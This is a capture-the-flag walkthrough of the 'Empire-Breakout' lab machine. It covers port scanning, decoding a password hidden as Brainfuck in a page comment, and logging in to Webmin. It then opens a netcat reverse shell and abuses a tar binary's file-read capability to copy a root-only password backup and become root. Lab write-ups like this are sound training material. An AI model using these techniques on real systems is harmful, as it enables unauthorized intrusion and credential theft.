Proving grounds Play - Empire-Breakout CTF writeup.
Nmap
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.51 (Debian)
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
10000/tcp open http MiniServ 1.981 (Webmin httpd)
|_http-favicon: Unknown favicon MD5: C7F93A5D476A64454D4E271B24571406
|_http-title: 200 — Document follows
|_http-trane-info: Problem with XML parsing of /evox/about
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: MiniServ/1.981
20000/tcp open http MiniServ 1.830 (Webmin httpd)
|_http-title: 200 — Document follows
|_http-favicon: Unknown favicon MD5: 953B40D37322DDEFEEC092BC48AEA904
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: MiniServ/1.830
SMB Username Enumeration
Using enum4linux the username cyber has been discovered.
80/tcp - open http - Apache httpd 2.4.51 ((Debian))
There is a encrypted text commented in the source code of the apache page view-source:http://192.168.240.238/.
<!--
don't worry no one will get here, it's safe to share with you my access. Its encrypted :)
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
-->
Cipher Analysis
https://www.dcode.fr/cipher-identifier
Brainfuck
Upon analysis the algorithm of the encrypted text has been discovered which is Brainfuck.
Brainfuck decode
https://www.splitbrain.org/_static/ook/
Decoded text
.2uqPEfj3D<P'a-3
20000/tcp - open http - MiniServ 1.830 (Webmin httpd)
Login to the portal using the username cyber and password .2uqPEfj3D<P'a-3.
Click on the interactive shell and create a reverse shell connection.
naveenj@hackerspace:|01:09|~/pg-play/Empire-breakout$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.45.225] from (UNKNOWN) [192.168.240.238] 55430
python3 -c 'import pty; pty.spawn("/bin/bash")'
cyber@breakout:~$
Initial Foothold Obtained
Privilege Escalation
Enumerate the machine’s extended capabilities.
cyber@breakout:~$ getcap -r / 2>/dev/null
getcap -r / 2>/dev/null
/home/cyber/tar cap_dac_read_search=ep
/usr/bin/ping cap_net_raw=ep
cyber@breakout:~$
There is a binary tar located in the folder /home/cyber, which can be used to reveal the contents of the restricted files.
Upon checking the folders there is a old password file exists in the backups folder.
cyber@breakout:~$ cd /var/backups
cd /var/backups
cyber@breakout:/var/backups$ ll
ll
total 484K
4.0K drwxr-xr-x 2 root root 4.0K Dec 8 2022 .
40K -rw-r--r-- 1 root root 40K Dec 8 2022 alternatives.tar.0
0 -rw-r--r-- 1 root root 0 Dec 8 2022 dpkg.arch.0
16K -rw-r--r-- 1 root root 13K Nov 17 2022 apt.extended_states.0
4.0K -rw------- 1 root root 17 Oct 20 2021 .old_pass.bak #old password file
404K -rw-r--r-- 1 root root 404K Oct 19 2021 dpkg.status.0
4.0K -rw-r--r-- 1 root root 1.5K Oct 19 2021 apt.extended_states.1.gz
4.0K drwxr-xr-x 14 root root 4.0K Oct 19 2021 ..
4.0K -rw-r--r-- 1 root root 186 Oct 19 2021 dpkg.diversions.0
4.0K -rw-r--r-- 1 root root 135 Oct 19 2021 dpkg.statoverride.0
cyber@breakout:/var/backups$
Exploitation
Use the tar utility to compress the old password file.
cyber@breakout:~$ ./tar -cvf old_pass.tar /var/backups/.old_pass.bak #compress
./tar -cvf old_pass.tar /var/backups/.old_pass.bak
/var/backups/.old_pass.bak
cyber@breakout:~$ ll
4.0K drwxr-xr-x 8 cyber cyber 4.0K Oct 1 01:28 .12K -rw-r--r-- 1 cyber cyber 10K Oct 1 01:28 old_pass.tar #compressed file
4.0K -rw-r--r-- 1 root root 33 Oct 1 01:01 local.txt
4.0K drwxr-xr-x 2 cyber cyber 4.0K Oct 20 2021 .tmp
0 -rw------- 1 cyber cyber 0 Oct 20 2021 .bash_history
520K -rwxr-xr-x 1 root root 520K Oct 19 2021 tar
4.0K drwxr-xr-x 3 cyber cyber 4.0K Oct 19 2021 .local
4.0K drwx------ 16 cyber cyber 4.0K Oct 19 2021 .usermin
4.0K drwxr-xr-x 2 cyber cyber 4.0K Oct 19 2021 .filemin
4.0K drwx------ 2 cyber cyber 4.0K Oct 19 2021 .gnupg
4.0K drwx------ 2 cyber cyber 4.0K Oct 19 2021 .spamassassin
4.0K -rw-r--r-- 1 cyber cyber 220 Oct 19 2021 .bash_logout
4.0K -rw-r--r-- 1 cyber cyber 3.5K Oct 19 2021 .bashrc
4.0K -rw-r--r-- 1 cyber cyber 807 Oct 19 2021 .profile
4.0K drwxr-xr-x 3 root root 4.0K Oct 19 2021 ..
cyber@breakout:~$
Extract the compressed file to read the password file.
cyber@breakout:~$ ls
ls
local.txt old_pass.tar tar var #extracted var folder
cyber@breakout:~$ cd var
cd var
cyber@breakout:~/var$ ls
ls
backups
cyber@breakout:~/var$ cd backups
cd backups
cyber@breakout:~/var/backups$ ll
ll
total 12K
4.0K drwxr-xr-x 2 cyber cyber 4.0K Oct 1 01:32 .
4.0K drwxr-xr-x 3 cyber cyber 4.0K Oct 1 01:32 ..
4.0K -rw------- 1 cyber cyber 17 Oct 20 2021 .old_pass.bak #password file
cyber@breakout:~/var/backups$ cat .old_pass.bak
cat .old_pass.bak
Ts&4&YurgtRX(=~h #password
cyber@breakout:~/var/backups$
Switch to root user and use the password found above.
cyber@breakout:~/var/backups$ su root
su root
Password: Ts&4&YurgtRX(=~h
root@breakout:/home/cyber/var/backups#
cd
root@breakout:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@breakout:~#
Root Obtained
Thanks for reading!
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